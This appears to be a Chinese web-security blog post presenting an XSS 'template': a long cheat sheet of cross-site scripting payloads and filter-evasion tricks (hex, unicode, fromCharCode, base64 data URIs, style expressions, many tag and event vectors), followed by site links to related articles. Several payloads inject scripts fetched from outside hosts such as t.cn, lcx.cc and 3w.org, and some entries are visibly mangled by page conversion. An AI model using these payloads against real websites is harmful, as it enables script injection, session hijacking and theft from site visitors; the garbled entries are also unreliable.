Web安全--XSS模版
【XSS基本探测pyload】
<script>alert(“xss”)</script> <script>alert(/xss/)</script> //双引号换成斜杠 <script>alert(‘xss’)</script> //用单引号 <script>alert("xss");</script> //用分号 <script>alert('xss');</script> <script>alert(/xss/);</script> <script>alert("jdq") //自动补全 <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号 <script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号 <script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符 <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车
单引号被过滤 <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
【javascript伪协议】回旋 <a href="javascript:alert(/test/)">xss</a>
<script>被过滤↓ <iframe src=javascript:alert( width= /><iframe>利用iframe框架标签
alert被过滤 <img src=" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
【img标记】 <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
on事件点击触发 onclick="alert('xss') //注意要用单引号 双引号不会触发
on事件-移动触发 Onmousemove="alert('xss')
【利用函数加密】 eval 函数配合编码 <script>eval(“js+16进制加密”)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 编码要执行的语句↓ Alert(“xss”)
【unicode加密】 <script>eval("unicode加密")</script> //js unicode加密 解决alert()被过滤 <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script> 格式↓ 标记eval(“编码”) 结束标记
【String.fromCharCod函数】 String.fromCharCode需要配合eval来实现, 构造 <script>eval(String.fromCharCode(,,,,,,,,,,,,))</script> eval内容加引号相当于正常js语句来执行 不加引号,则是默认作为eval的其他参数语句来执 固定格式→<script>eval(String.fromCharCode编码内容))</script>
【data协议运用】 <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object> 格式 Data:[<mime type>][;charset=<charset>[;base64],<encoded data> Data //协议 <mime type> //数据类似 charset=<charset> //指定编码 [;base64] //被指定的编码 <encoded data> //定义data协议的编码 实际编码↓ <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object> base64编码要执行的内容 特点:不支持IE
【各标签实战pyload】
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————
<img src=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img> //仅支持IE6 <img src=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img> //仅支持IE6 <img src="pdpdp.gif"></img> //通杀所有浏览器 能触发xss <img src="pdpdp.gif"></img> //通杀所有浏览器 能触发xss <img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> <input autofocus="bbbb" /> <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object> <iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe> ie不支持 <a href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a> <anchor>、<img>(不执行js) <a>(需点击) <meta>..... <anchor onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> <svg onload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com"> <svg onload=document.write(String.fromCharCode(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,))> <baa id=> ()普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> ()IMG标签XSS使用JavaScript命令 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> ()IMG标签无分号无引号 <IMG SRC=javascript:alert(‘XSS’)> ()IMG标签大小写不敏感 <IMG SRC=JaVaScRiPt:alert(‘XSS’)> ()HTML编码(必须有分号) <IMG SRC=javascript:alert(“XSS”)> ()修正缺陷IMG标签 <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> ()formCharCode标签 <IMG SRC=javascript:alert(String.fromCharCode(,,))> ()UTF-8的Unicode编码 <IMG SRC=jav..省略..S')> ()7位的UTF-8的Unicode编码是没有分号的 <IMG SRC=jav..省略..S')> ()十六进制编码也是没有分号 <IMG SRC=\'#\'" /span> ()嵌入式标签,将Javascript分开 <IMG SRC=\'#\'" ascript:alert(‘XSS’);”> ()嵌入式编码标签,将Javascript分开 <IMG SRC=\'#\'" ascript:alert(‘XSS’);”> ()嵌入式换行符 <IMG SRC=\'#\'" ascript:alert(‘XSS’);”> ()嵌入式回车 <IMG SRC=\'#\'" ascript:alert(‘XSS’);”> ()嵌入式多行注入JavaScript,这是XSS极端的例子 <IMG SRC=\'#\'" /span> ()解决限制字符(要求同页面) <script>z=’document.’</script> <script>z=z+’write(“‘</script> <script>z=z+’<script’</script> <script>z=z+’ src=ht’</script> <script>z=z+’tp://ww’</script> <script>z=z+’w.shell’</script> <script>z=z+’.net/.’</script> <script>z=z+’js></sc’</script> <script>z=z+’ript>”)’</script> <script>eval_r(z)</script> ()空字符 perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out ()空字符2,空字符在国内基本没效果.因为没有地方可以利用 perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out ()Spaces和meta前的IMG标签 <IMG SRC=\'#\'" javascript:alert(‘XSS’);”> ()Non-alpha-non-digit XSS <SCRIPT/XSS SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT> ()Non-alpha-non-digit XSS to <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> ()Non-alpha-non-digit XSS to <SCRIPT/SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT> ()双开括号 <<SCRIPT>alert(“XSS”);//<</SCRIPT> ()无结束脚本标记(仅火狐等浏览器) <SCRIPT SRC=http://3w.org/XSS/xss.js?<B> ()无结束脚本标记2 <SCRIPT SRC=//3w.org/XSS/xss.js> ()半开的HTML/JavaScript XSS <IMG SRC=\'#\'" /span> ()双开角括号 <iframe src=http://3w.org/XSS.html < ()无单引号 双引号 分号 <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> ()换码过滤的JavaScript \”;alert(‘XSS’);// ()结束Title标签 </TITLE><SCRIPT>alert(“XSS”);</SCRIPT> ()Input Image <INPUT SRC=\'#\'" /span> ()BODY Image <BODY BACKGROUND=”javascript:alert(‘XSS’)”> ()BODY标签 <BODY(‘XSS’)> ()IMG Dynsrc <IMG DYNSRC=\'#\'" /span> ()IMG Lowsrc <IMG LOWSRC=\'#\'" /span> ()BGSOUND <BGSOUND SRC=\'#\'" /span> ()STYLE sheet <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”> ()远程样式表 <LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”> ()List-style-image(列表式) <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS ()IMG VBscript <IMG SRC=\'#\'" /STYLE><UL><LI>XSS ()META链接url <META HTTP-EQUIV=”refresh” CONTENT=”; URL=http://;URL=javascript:alert(‘XSS’);”> ()Iframe <IFRAME SRC=\'#\'" /IFRAME> ()Frame <FRAMESET><FRAME SRC=\'#\'" /FRAMESET> ()Table <TABLE BACKGROUND=”javascript:alert(‘XSS’)”> ()TD <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”> ()DIV background-image <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> ()DIV background-image后加上额外字符(-&&&&-&&&) <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> ()DIV expression <DIV STYLE=”width: expression_r(alert(‘XSS’));”> ()STYLE属性分拆表达 <IMG STYLE=”xss:expression_r(alert(‘XSS’))”> ()匿名STYLE(组成:开角号和一个字母开头) <XSS STYLE=”xss:expression_r(alert(‘XSS’))”> ()STYLE background-image <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A> ()IMG STYLE方式 exppression(alert(“XSS”))’> ()STYLE background <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> ()BASE <BASE HREF=”javascript:alert(‘XSS’);//”> ()EMBED标签,你可以嵌入FLASH,其中包涵XSS <EMBED SRC=\'#\'" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>
Web安全--XSS模版的更多相关文章
- Web安全XSS
Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...
- web安全-xss攻击
web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&'); str = str.replac ...
- web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)
web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...
- WEB安全----XSS和CSRF
随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵 ...
- Web安全--XSS现代WAF规则探测及绕过技术
XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...
- MVC WEB安全——XSS攻击防御
XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- 小白日记47:kali渗透测试之Web渗透-XSS(一)
XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/ ...
- web安全-XSS攻击及防御
XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...
随机推荐
- struts2进阶篇(4)
一.使用ActionContext访问Servlet API strtus2提供了一个ActionContext类,该类别称为Action上下文或者Action环境,Action可以通过该类来访问最常 ...
- Angularjs,WebAPI 搭建一个简易权限管理系统 —— 系统业务与实现(三)
目录 前言 Angularjs名词与概念 Angularjs 基本功能演示 系统业务与实现 WebAPI项目主体结构 Angularjs 前端主体结构 系统业务与实现(二) 上一章我们讲解的 Angu ...
- .NET Core Roadmap
This post was written by Scott Hunter. It has been about two weeks since we shipped .NET Core / ASP. ...
- JS-取出字符串中重复次数最多的字符并输出
/** 取出字符串中重复字数最多的字符 */ var words = 'sdfghjkfastgbyhnvdstyaujskgfdfhlaa'; //创建字符串 var word, //单个字符 le ...
- andriod arcgis加载影像TIF
private static final String TAG = "MainActivity"; private MapView mapView = null; @Overrid ...
- 学习android学习必备的java基础知识--四大内部类
学习android必备的java基础知识--四大内部类 今天学习android课程,因为我的主专业是JAVA,但是兴趣班却有这其他专业的同学,学习android 需要具备一些java的基础知识,因此就 ...
- UITabBarController的创建等基本方法
#import "AppDelegate.h" @interface AppDelegate () <UITabBarControllerDelegate> @end ...
- JAVA基础学习day16--集合三-Map、HashMap,TreeMap与常用API
一.Map简述 1.1.简述 public interface Map<K,V> 类型参数: K - 此映射所维护的键的类型 key V - 映射值的类型 value 该集合提供键--值的 ...
- Swift开发第四篇——柯里化
本篇分为两部分: 一.柯里化的基本使用 二.柯里化的使用场景 一.柯里化的基本使用 柯里化(Currying):也就是把接受多个参数的方法变换成接受第一个参数的方法,并且返回接受余下的参数并且返回结果 ...
- 数据库测试DbUnit
DBUnit 的设计理念就是在测试之前,备份数据库,然后给对象数据库植入我们需要的准备数据,最后,在测试完毕后,读入备份数据库,回溯到测试前的状态: 摘自:DbUnit入门实战 DBUnit官网:ht ...